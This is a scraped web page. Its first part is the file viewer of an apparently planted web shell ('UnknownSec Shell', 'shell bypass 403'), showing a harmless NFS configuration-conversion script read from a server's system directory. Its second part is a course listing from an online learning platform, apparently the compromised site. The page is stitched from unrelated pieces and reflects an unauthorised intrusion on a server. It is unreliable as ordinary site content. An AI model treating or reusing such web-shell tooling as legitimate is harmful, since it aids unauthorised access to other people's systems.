shell bypass 403

UnknownSec Shell

: /usr/libexec/nfs-utils/ [ drwxr-xr-x ]

name : nfsconvert.sh
#!/bin/bash

#
# Convert /etc/sysconfig/nfs values in /etc/nfs.conf valuse
#

#
# No file no conversion
#
if [ ! -f /etc/sysconfig/nfs ]; then
	exit 0
fi

# 
# See if the conversion happen already
#
grep "nfs.conf" /etc/sysconfig/nfs > /dev/null
if [ $? -eq 0 ]; then
	exit 0
fi

if [ -f /etc/nfs.conf.rpmnew ]; then
	# See if it is the we want to use 
	grep tag1234 /etc/nfs.conf.rpmnew > /dev/null
	if [ $? -eq 0 ]; then
		cp /etc/nfs.conf /etc/nfs.conf.rpmsave  
		cat /etc/nfs.conf.rpmnew | sed '/tag123/d' > /etc/nfs.conf
		rm /etc/nfs.conf.rpmnew
	fi
else
		cp /etc/nfs.conf /etc/nfs.conf.rpmsave
fi

#
# Do the conversion 
#
/usr/sbin/nfsconvert


© 2025 UnknownSec
Courses | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar

Courses

17 Courses
Course
How to Manage Your Virtual Team

How to Manage Your Virtual Team

in Communications
3.75
1:30 Hours
30 Jun 2021
₹59
20% Offer
Excel from Beginner to Advanced

Excel from Beginner to Advanced

in Management
4.75
1:40 Hours
20 Mar 2026
₹94.40 ₹118
Text course
Learn Python Programming

Learn Python Programming

in Web Development
5.00
0:35 Hours
29 Jun 2021
Free
Finished
Learn Linux in 5 Days

Learn Linux in 5 Days

in Web Development
4.00
7:30 Hours
10 Jul 2021
Free
Course
Become a Product Manager

Become a Product Manager

in Business Strategy
4.58
2:30 Hours
28 Jun 2021
Free

Type

More options